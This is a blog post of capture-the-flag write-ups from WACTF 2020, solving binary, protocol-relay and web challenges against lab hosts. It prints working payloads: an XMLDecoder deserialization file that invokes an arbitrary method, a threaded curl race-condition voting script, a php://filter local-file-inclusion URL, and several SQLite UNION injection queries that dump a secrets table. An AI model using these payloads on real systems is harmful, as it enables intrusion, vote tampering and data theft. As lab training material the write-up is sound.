Post

WACTF 2020 - Challenges

WACTF 2020 - Challenges

Exploitation

Strings2win

Surely devs don’t hard-code secrets these days. Right? Filedrop: exploit-0.7z

The filedrop contains a binary named encryptor which when ran gives the following output.

1
2
3
4
5
6
7
root:wactf/ # ./encryptor
Encrypting the secret...
...
...
...
...
GOS T G IG

Based on the name of the challenge I first tried to strings the binary and saw the first part of the flag:

1
2
3
--- SNIP ---
WACTF{
--- SNIP ---

Opening the binary up in gdb and taking a look at the instructions shows that there is a strlen function being called in the encrypt function.

Inserting a break point at main and then setting a break point at the strlen call in the encrypt binary shows an interesting string loaded in the registers.

1
2
gef➤  x/s $rax
0x555555554a18: "\nWACTF{\nS\nT\nR\nI\nN\nG\nS\n \nI\nS\n \nN\nO\nT\n \nK\nI\nN\nG\n}"

Removing all the \n characters from the string gives us the flag.

1
WACTF{STRINGS IS NOT KING}

Springfield Nuclear Power Station

Springfield Nuclear Power Plant have gone work from home allowing remote operations! Login and find the flag! Filedrop: exploit-1.7z

Opening the file up in ghidra gives us a bunch of functions and the main function was not visible so checking the entry function we see that the FUN_004018e7 is being called first so we can just rename that to main.

ghidra

The function checks for any arguments that are being passed in, if there is none it continues execution.

ghidra

And if the --debug flag is set sets the value of a variable to 1. In this case the the function that is called only asks for the username instead of username and password after checking if the debug flag is set.

Checking the contents of that function reveals that it asks for a username and compares it to the homer string and if the check is successful prints out the Welcome Homer! message and then returns 1.

ghidra

Running the binary with the debug flag and entering the username homer gives us an option to get flag which prints out the flag.

root:wactf/ # ./exploit-1 --debug 
 ____  ____  ____  ___ _   _  ____ _____ ___ _____ _     ____  
/ ___||  _ \|  _ \|_ _| \ | |/ ___|  ___|_ _| ____| |   |  _ \ 
\___ \| |_)/ | |_) || ||  \| | |  _| |_   | ||  _| | |   | | | |
 ___) |  __/|  _ < | || |\  | |_| |  _|  | || |___| |___| |_| |
|____/|_|   |_| \_\___|_| \_|\____|_|   |___|_____|_____|____/ 
 _   _ _   _  ____ _     _____    _    ____  
| \ | | | | |/ ___| |   | ____|  / \  |  _ \ 
|  \| | | | | |   | |   |  _|   / _ \ | |_) |
| |\  | |_| | |___| |___| |___ / ___ \|  _ < 
|_| \_|\___/ \____|_____|_____/_/   \_\_| \_\
 ____   _____        _______ ____  
|  _ \ / _ \ \      / / ____|  _ \ 
| |_) | | | \ \ /\ / /|  _| | |_) |
|  __/| |_| |\ V  V / | |___|  _ < 
|_|    \___/  \_/\_/  |_____|_| \_\
 ____ _____  _  _____ ___ ___  _   _ 
/ ___|_   _|/ \|_   _|_ _/ _ \| \ | |
\___ \ | | / _ \ | |  | | | | |  \| |
 ___) || |/ ___ \| |  | | |_| | |\  |
|____/ |_/_/   \_\_| |___\___/|_| \_|
Access by authorised personnel only.
****** DEBUGGING MODE ENABLED ******

Username: homer
Welcome homer!

Springfield Nuclear Power Plant - Sector 7-G

[1] Check core temperature
[2] Order tab
[3] Vent radioactive gas
[4] Decalcify calcium ducts
[5] Exit
[6] Get the flag!
6

___  _____
          .'/,-Y"     "~-.
          l.Y             ^.
          /\               _\_      
         i            ___/"   "\
         |          /"   "\   o !
         l         ]     o !__./
          \ _  _    \.___./    "~\
           X \/ \            ___./
          ( \ ___.   _..--~~"   ~`-.
           ` Z,--   /               \
             \__.  (   /       ______)
               \   l  /-----~~" /
                Y   \          /
                |    "x______.^
                |           \  
                j            Y

         WACTF{i-am-so-smart,s-m-r-t}

And we get our flag.

https://media.giphy.com/media/xT5LMHxhOfscxPfIfm/giphy.gif

Now You See Me

It’s a bit webby but not really. Service: http://exploit-2:1337

Now you see me was an interesting challenge where all the information we had at the start was that there is a backend server that gives the server that we are interacting with a flag after we log in successfully. The flag can be replaying the responses sent by the server listening on port 1337 and the one listening on 31337 by using the shell machine that we have access to.

Using the credentials provided to us on the page and attempting to log in gives the following message:

Congratulations, you logged in! we confirmed, and the backend has the flag, it showed us.

We have control over 3 fields i.e. username, password, and server. The server field was very interesting as it allowed us to insert an IP address and a port that the front end application will try to hit with the credentials we provide.

Setting up a netcat listener on the shell box and changing the server IP and port to the netcat listener gave us some information.

1
2
3
4
5
6
7
8
9
10
shellbox:~$ nc -nvlp 2222 > front-endserver-1.out
Listening on [0.0.0.0] (family 0, port 2222)
Connection from 10.0.25.21 30015 received!
^C
shellbox:~$ cat front-endserver-1.out 
LoginMsUsername
              Password
FloatingPoinSliceOfFloatiestantN[]float6admintantNumber
                                             AnotherYear?Zd?
@shellbox:~$

We did get a hit from the front-end server with our credentials.

Because the message earlier said that the backend showed the front end server the flag we can safely assume that if we just send this response to the server it should give us the flag right? well not so soon as the server just sent the following response.

1
2
3
4
5
shellbox:~$ nc 10.4.15.41 31337 -vvv < front-endserver-1.out | tee -a backend-server-1.out 
;
 LoginResultSuccessVeryImportantData
3
xxPsZ

But where is flag?

At this stage I thought the bytes at the end were the flag just encrypted and I would have to figure out a way to decrypt them. However, I am horrible at crypto stuff and thought maybe ill just try to send this response to the front end server and see what it says?

After sending this response to the front end server we get another response.

1
2
3
4
5
6
7
8
9
10
11
shellbox:~$ nc -nvlp 2222 < backend-server-1.out | tee -a front-endserver-2.out 
Listening on [0.0.0.0] (family 0, port 2222)
Connection from 10.0.25.21 30016 received!
LoginMsUsername
              Password
FloatingPoinSliceOfFloatiestantN[]float6admintantNumber
                                             AnotherYear?Zd?
@4
  PostLoginMsgExtremelyNormalWord[]string

CBirthdays was the worst days, now we sip champagne when we thirsty.UHomicide's illegal and death is the penalty/What justifies the homicide when he dies?UHomicide's illegal and death is the penalty/What justifies the homicide when he dies?-A bird in the hand is worth more than a Bush.vHey, hey! Mr La Di Da Di/Money is all that you got/In a world full of greed/Music is everything that I need (Hot damn)Elvis was a hero to most/But he never meant ___ to me. You see/Straight up racist that sucker was, simple and plain/____ him and John Wayne.7We can’t change the world unless we change ourselves.YI'm a proud black Yolngu boy with the killer flow/Listen to the yidaki, listen to it blowRawakpuy Yindi djal nhaburr dhuwal kirtjirr/Nharow Yolngu balanda bungul/Gu dhumurryurra nganya marrtji gu/Nhuaburr ga djal dhirr nhaburr dhu weripugom/Walalung mangutji marrka manapunmirr/Weripu weripu minytji gu/Babuyurranha nganya marrtji guYI'm a proud black Yolngu boy with the killer flow/Listen to the yidaki, listen to it blow

Whoa that is a lot of different strings I did not get before.

There was a very clear pattern of intercepting the responses and forwarding so doing that again gave us the following:

1
2
3
4
5
6
7
8
shellbox:~$ nc 10.4.15.41 31337 < front-endserver-2.out | tee -a backend-server-2.out 
;
 LoginResultSuccessVeryImportantData
@\x(ħF带6"
          PostLoginRspMoreNormalWordsMac11s
                                           ThirtyEightsNinesMac10sJustIgnoreThisBit
JoinYourUnio[]string
                    (vHey, hey! Mr La Di Da Di/Money is all that you got/In a world full of greed/Music is everything that I need (Hot damn)Elvis was a hero to most/But he never meant ___ to me. You see/Straight up racist that sucker was, simple and plain/____ him and John Wayne.7We can’t change the world unless we change ourselves.<WACTF{Reduce_Reuse_Recycle_8e33ae46ef68409b2face55ac3bd651d}7We can’t change the world unless we change ourselves.yMarram nheli earphone/Buthururulil nhirrpun/Babuyurra thumurryurra/Thurrguyurra ga Runthuyurra/Marrtji ngany dhugarrgurraYI'm a proud black Yolngu boy with the killer flow/Listen to the yidaki, listen to it blowYI'm a proud black Yolngu boy with the killer flow/Listen to the yidaki, listen to it blow7We can’t change the world unless we change ourselves.shellbox:~$

IT WORKED!! and we have our flag:

1
WACTF{Reduce_Reuse_Recycle_8e33ae46ef68409b2face55ac3bd651d}

https://media.giphy.com/media/3o7qDQ4kcSD1PLM3BK/giphy.gif

Game finder

A new application has been developed to help user’s get cheap prices on video games, development was done pretty quickly, and security wasn’t a priority. Service: http://exploit-3

Checking the webpage reveals the following:

gamefinder

Heading over to the Get Gamefinder tab gives us a jar file and the upload your wish list page leads to an upload page.

Running the Gamefinder jar file using java -jar GameFinder-0.2.jar reveals an interesting functionality allowing us to save a game library (which can maybe be uploaded)?

Creating a dummy library and saving it writes the contents out to a gflib file which is a XML file with objects/methods and properties.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<java version="11.0.9.1" class="java.beans.XMLDecoder">
 <object class="model.Library" id="Library0">
  <void property="games">
   <void method="add">
    <object class="model.Game">
     <void property="barcode">
      <int>9999</int>
     </void>
     <void property="name">
      <string>CyberFunk</string>
     </void>
     <void property="publisher">
      <string>WACTF</string>
     </void>
     <void property="rating">
      <object class="java.lang.Enum" method="valueOf">
       <class>model.Game$Rating</class>
       <string>PG</string>
      </object>
     </void>
    </object>
   </void>
  </void>
  <void property="name">
   <string>huh</string>
  </void>
 </object>
</java>

Decompiling the JAR

Decompiling the jar file using JD-GUI gives us the source code where we have multiple packages and classes.

In the GameFinder class we see that a LibraryController Object is initialized and passed into the Menus.mainMenu method.

1
2
LibraryController libraryController = new LibraryController();
Menus.mainMenu(libraryController);

LibraryController’s saveLibrary method seems to be saving a object after being xml encoded into the filename + .gflib . Now looking that the previous XML file made a lot of sense to me as the <object> property let us specify the class and the <void> property let us specify the properties and their values as well as the methods that will be called using method=package.ClassName .

The loadLibrary method on the other hand just loads the file → Parses it and then casts it to the Library object.

I noticed the LibraryAnalyser class as well which had some interesting methods like the getFlag() method which could potentially be called by just adding the <object class=controller.LibraryAnalyser> and the <void method="getFlag"> to the existing game library file.

Editing the file that it gave me with the above data and then loading it in using the local app gave me the Could not print flag? message which is inside the getFlag function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
***************************************
   ___ ___ _____ ___|  _|_|___ _| |___ ___ 
  | . | .'|     | -_|  _| |   | . | -_|  _| 
  |_  |__,|_|_|_|___|_| |_|_|_|___|___|_|   
  |___| 
  ***************************************
  *** Create and upload your library ***

Top Menu
1 - Load Library
2 - New Library
0 - Exit
1
Enter filename: huh.gflib
Could not print flag?

All that was left to do now was just upload the gflib file on the server and wait for it to process it and give me the flag.

Final Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="UTF-8"?>
<java version="11.0.9.1" class="java.beans.XMLDecoder">
  <object class="controller.LibraryAnalyser">
    <void method="getFlag"></void>
  </object>
 <object class="model.Library" id="Library0">
  <void property="games">
   <void method="add">
    <object class="model.Game">
     <void property="barcode">
      <int>9999</int>
     </void>
     <void property="name">
      <string>CyberFunk</string>
     </void>
     <void property="publisher">
      <string>WACTF</string>
     </void>
     <void property="rating">
      <object class="java.lang.Enum" method="valueOf">
       <class>model.Game$Rating</class>
       <string>PG</string>
      </object>
     </void>
    </object>
   </void>
  </void>
  <void property="name">
   <string>huh</string>
  </void>
 </object>
</java>

Upload it to the server and we have our flag.

gamefinder2

Web

Git Good

You really have to be good to git this flag. Note: A SMALL amount of directory bruteforcing is required for this challenge. Service: http://web-0

This challenge is very similar to the tryhackme room Git Happens where we use the git dumper tool to dump the repository and check the git logs for any interesting commits.

Using git dumper and checking the logs reveal an interesting commit with the message flag created . Grabbing the commit hash and using the command git show <commithash> reveals the contents of the commit.

Using the same we can view the commit where the flag was created and we get the flag:

1
2
3
4
root:gitgood/ (master✗) # git log --grep="flag create" 
root:gitgood/ (master✗) # git log --grep="flag create" 
root:gitgood/ (master✗) # git show b97c2a177567ae7d55eb12c3b65a6b74b1198d0a
+WACTF{isnt_git_great}

Every vote counts

It’s important to do your democratic duty and vote. But wouldn’t it be a shame to see your preferred candidate lose in what is obviously an unfair system? You only get one vote; make it count. Your login credentials for voting are: - Username: lastvoter - Password: yourvotecounts123 - Preferred Candidate: LA Ice Cola. Service: http://web-2-2

The challenge took a lot of “ARGGHHHH SOOOO CLOOOSSEEEEE” ‘s to get.

Warning: The solution contains bad code :P

Checking the http://web-2-2/ tells that there is only 1 vote left and we have the credentials for voting.

Logging in and voting then redirects us to the vote page and shows us the candidates and their votes.

After not being able to figure out what was happening for the first couple of hours one of my teammate voted at the same time as me and I saw the votes go up by 2.

AH! multiple requests at the same time seems to allow us to vote multiple times.

After using multithreading in python with the requests module still was not getting us there so I thought maybe just use curl using os.system() worth a shot I guess.

Then I created a separate script to grab a 100 cookies and saved them to cookies.txt which was then used by my second script to send post requests using those session cookies and reusing the nonce a couple of times.

Final Scripts

Get cookies

1
2
3
4
5
6
import requests

for i in range(100):
 session = requests.Session()
 session.post("http://web-2-2/login", data={"username" : "lastvoter" , "password" : "yourvotecounts123", "remember": "on"})
 print(session.cookies.get_dict()['session'])

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
from threading import Thread
import os

all_the_cookies = []
successful = 0
f = open("./cookies.txt", "r")
cookies = f.readlines()
def main(cookie):
 try:
  nonce = os.popen('curl "http://web-2-2/voterportal" -b "session=' + cookie.strip("\n") + '" --silent | grep nonce').read()
  nonce = re.search('name="nonce" value="(.*)"></', nonce).group(1)
  os.system('curl -d "candidate=LA Ice Cola&nonce=' + nonce + '" -b "session=' + cookie.strip("\n") + '" "http://web-2-2/vote" 2>/dev/null &')
  os.system('curl -d "candidate=LA Ice Cola&nonce=' + nonce + '" -b "session=' + cookie.strip("\n") + '" "http://web-2-2/vote" 2>/dev/null &')
  os.system('curl -d "candidate=LA Ice Cola&nonce=' + nonce + '" -b "session=' + cookie.strip("\n") + '" "http://web-2-2/vote" 2>/dev/null &')
  os.system('curl -d "candidate=LA Ice Cola&nonce=' + nonce + '" -b "session=' + cookie.strip("\n") + '" "http://web-2-2/vote" 2>/dev/null &')
  os.system('curl -d "candidate=LA Ice Cola&nonce=' + nonce + '" -b "session=' + cookie.strip("\n") + '" "http://web-2-2/vote" 2>/dev/null &')
  os.system('curl -d "candidate=LA Ice Cola&nonce=' + nonce + '" -b "session=' + cookie.strip("\n") + '" "http://web-2-2/vote" 2>/dev/null &')
  successful += 1
 except:
  pass

for i in range(100):
 Thread(target=main, args=(cookies[i],)).start()

This gave the LA Ice Cola 281 votes thus winning the election.

everyvotecounts

The flag was on the results page:

everyvotecounts

Old is Gold

Back in the old days, we used to create websites with very little functionality. We didn’t have all the fancy frameworks available now. I don’t think anyone would want to hack our manifesto, but I wonder if they could pull it off! Service: http://web-3

I spent a lot of time on this challenge because I missed a very basic enumeration step - dirbusting which one of my teammates did (thankfully) after which it was pretty easy.

Checking the web server reveals a bunch of information about the Agile Software Development Manifesto under which we have a bunch of language links that load the page in the selected language. What was interesting though is that the files were loaded in using a lang= parameter. Looks like there is some LFI to be exploited. However, attempting to access ../../../../etc/passwd gives the following message.

1
Hacker detected! Go away!

Maybe there is some filtering going on in the backend.

Using PHP wrappers we are able to dump the contents of index.php which contains the source code. PHP wrappers allow us to dump the contents of a php file by base64 encoding it.

HackTricks has a good cheatsheet on how to use them available here.

Dumping the source code of index.php can be done using the following payload:

1
http://web-3/index.php?lang=php://filter/convert.base64-encode/resource=index.php

Decoding the base64 string returned on the page gives us a better idea as to what is being filtered.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

if (isset($_GET["lang"])){
        $lang = $_GET["lang"];

        if ($lang === "index.php"){
                die("Too many redirects");
        }

        $bad = array("bin", "boot", "dev", "etc", "home", "lib", "lib64", "media", "mnt", "opt", "proc", "root", "run", "run.sh", "sbin", "srv", "sys", "tmp", "usr", "var", "x.sql", "~", "..");

        foreach ($bad as $b){
                if (strpos($lang, $b) !== false){
                        die("Hacker detected! Go away!");
                }
        }

        include($lang);
}else{
        include("en.php");
}

?>

A bunch of strings are being filtered by the server and stopping us from getting the passwd file.

At this stage I was going down a rabbit hole trying to get RCE on the server by using the various php wrappers but that was to no avail until my teammate mentioned finding the config.php file in the config directory of the server.

Attempting to dump the contents of that file gave us the base64 encoded version and decoding it gave us the flag:

1
2
3
4
5
6
7
8
9
http://web-3/index.php?lang=php://filter/convert.base64-encode/resource=config/config.php
<?php

// devs really need to remember to clean up their files!

// $db = "soemthing";
// $pwd = "password123!";

// WACTF{Inclusion_is_key!}

Let me in

We heard this lame website has some important book keeping records. Find the admin user, break into the application and get the flag. Service: http://web-4

Summary: One of my most favourite challenges where we first set a cookie securelyLoggedInUser and find a hidden form which is vulnerable to SQL Injection using which we are able to enumerate the different tables in the database and dump the flag from the secrets table.

Heading over to the http://web-4 page we see that there is a sign in and a sign up button out of which only the sign in button works.

Checking the source code for the sign in form reveals some javascript code which checks sends the username to the api and waits for a response which if is the current username should return a md5 hash of the users password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>
    function reqListener(){
        //login here
        var password = this.responseText.split("\n")[0];
        console.log(this.responseText.split("\n")[0]);
        if(this.responseText.split("\n")[0] === ""){
            document.getElementById('error1').style.display = "block";
        }else{
            console.log(`submitted password: ${md5(document.getElementById('password').value)}\nRecieved password: ${password}`);
            if(password === md5(document.getElementById('password').value)){
                document.cookie = `securelyLoggedInUser=${document.getElementById('username').value}; path=/;`
                window.location.href = "http://web-4/";
            }else{
                document.getElementById('error2').style.display = "block";
            }
        }
    }

    function login(){
        var req = new XMLHttpRequest();
        req.addEventListener("load", reqListener);
        req.open("POST", 'http://web-4/users/login');
        req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        req.send(`username=${document.getElementById('username').value}`);
    }
</script>

At this stage I thought that there would be some sort of fuzzing/bruteforcing however my internet was super slow so I let it be. Before I could do some fuzzing a hint was released saying “Look at me, look at me, I am the superadmin now.”.

Interesting we may have a valid username, setting the cookie to superadmin logged us in and showed some new shiny buttons.

In the page source for the /records/view endpoint there is a field that is hidden which allows us to filter the records using the filter parameter through a get request on the same page.

Inserting a ' broke the query.

At first I tried to do a UNION injection query to figure out how many columns are being retrieved.

I could get the data to reflect whatever I wanted, perfect to capture some output from subqueries.

1
something ' union select 1,2,3,4,5,6,7,8 FROM sqlite_master; -- -

letmein

1
something ' union select 1,2,3,(SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),5,6,7,8 FROM sqlite_master; -- -

letmein

1
something ' union select 1,2,3,(SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' and tbl_name NOT like 'users%'),5,6,7,8 FROM sqlite_master; -- -

letmein

1
something ' union select 1,2,3,(SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' and tbl_name NOT like 'users%' and tbl_name not like 'records%'),5,6,7,8 FROM sqlite_master; -- -

letmein

After attempting to enumerate all the tables we get the users, records and secrets table, out of which the secrets table stands out the most to me.

Attempting to dump everything in the table we get the following error:

1
something ' union select 1,2,3,(select * from secrets),5,6,7,8 FROM sqlite_master; -- -

letmein

A lucky guess for the flag column gives the flag:

1
something ' union select 1,2,3,(select flag from secrets),5,6,7,8 FROM sqlite_master; -- -

letmein

This post is licensed under CC BY 4.0 by the author.